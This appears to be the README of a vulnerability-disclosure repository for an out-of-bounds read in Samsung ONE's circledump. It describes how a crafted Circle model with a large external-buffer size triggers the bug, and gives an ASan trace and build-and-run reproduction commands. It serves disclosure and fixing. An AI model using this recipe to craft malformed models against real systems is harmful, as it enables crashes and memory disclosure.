# Circle External Buffer Offset/Size OOB Read PoC

This repository contains a minimal Circle model file that demonstrates an out-of-bounds read in Samsung ONE's Circle inspection path.

## Summary

Samsung ONE's `mio_circle::Reader::buffer_info()` handles Circle external buffers by checking only the starting `offset` with `std::vector::at()`, then returning the attacker-controlled `size` to callers. A Circle file can set an external buffer to start at the final byte of the file and advertise a much larger size. `circledump` then reads past the end of the file buffer while dumping that buffer.

## Artifact

- PoC model: `poc/external_offset_oob.circle`
- SHA256: `20962ae3e01d2489f1ba6766f4d804414e5e5cb490589a23aa986f97abe0abd5`
- File size: 232 bytes
- External buffer values: `offset=231`, `size=4096`

## Evidence

The captured ASan trace is in `poc/asan-circledump-direct.stderr.txt`.

Relevant top of stack:

```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
circledump::dump_buffer(...) Dump.cpp:48
circledump::dump_model(...) Dump.cpp:404
operator<<(...) Dump.cpp:479
circledump_direct_driver.cpp:41
0 bytes after 232-byte region
```

## Reproduction Outline

Use Samsung ONE current source and FlatBuffers 23.5.26. Build `flatc`/`libflatbuffers`, regenerate the Circle schema header, then compile the direct `circledump` core driver with ASan:

```bash
cmake -S /tmp/flatbuffers-23.5.26 -B /tmp/flatbuffers-23.5.26-build \
  -G Ninja -DFLATBUFFERS_BUILD_TESTS=OFF -DFLATBUFFERS_INSTALL=OFF -DCMAKE_BUILD_TYPE=Release
cmake --build /tmp/flatbuffers-23.5.26-build --target flatc flatbuffers -j2

clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
  -I/tmp/flatbuffers-23.5.26/include \
  -I/tmp/circle-include-current \
  -I/path/to/ONE/compiler/mio-circle/include \
  -I/path/to/ONE/compiler/circledump/include \
  -I/path/to/ONE/compiler/circledump/src \
  poc/circledump_direct_driver.cpp \
  /path/to/ONE/compiler/circledump/src/Dump.cpp \
  /path/to/ONE/compiler/circledump/src/MetadataPrinter.cpp \
  /path/to/ONE/compiler/circledump/src/OpPrinter.cpp \
  /path/to/ONE/compiler/mio-circle/src/Reader.cpp \
  /path/to/ONE/compiler/mio-circle/src/Helper.cpp \
  /tmp/flatbuffers-23.5.26-build/libflatbuffers.a \
  -o /tmp/circledump_direct_driver_current

ASAN_OPTIONS=abort_on_error=0:symbolize=1 \
  /tmp/circledump_direct_driver_current poc/external_offset_oob.circle
```

Full local notes are in `TECHNICAL_NOTES.md`.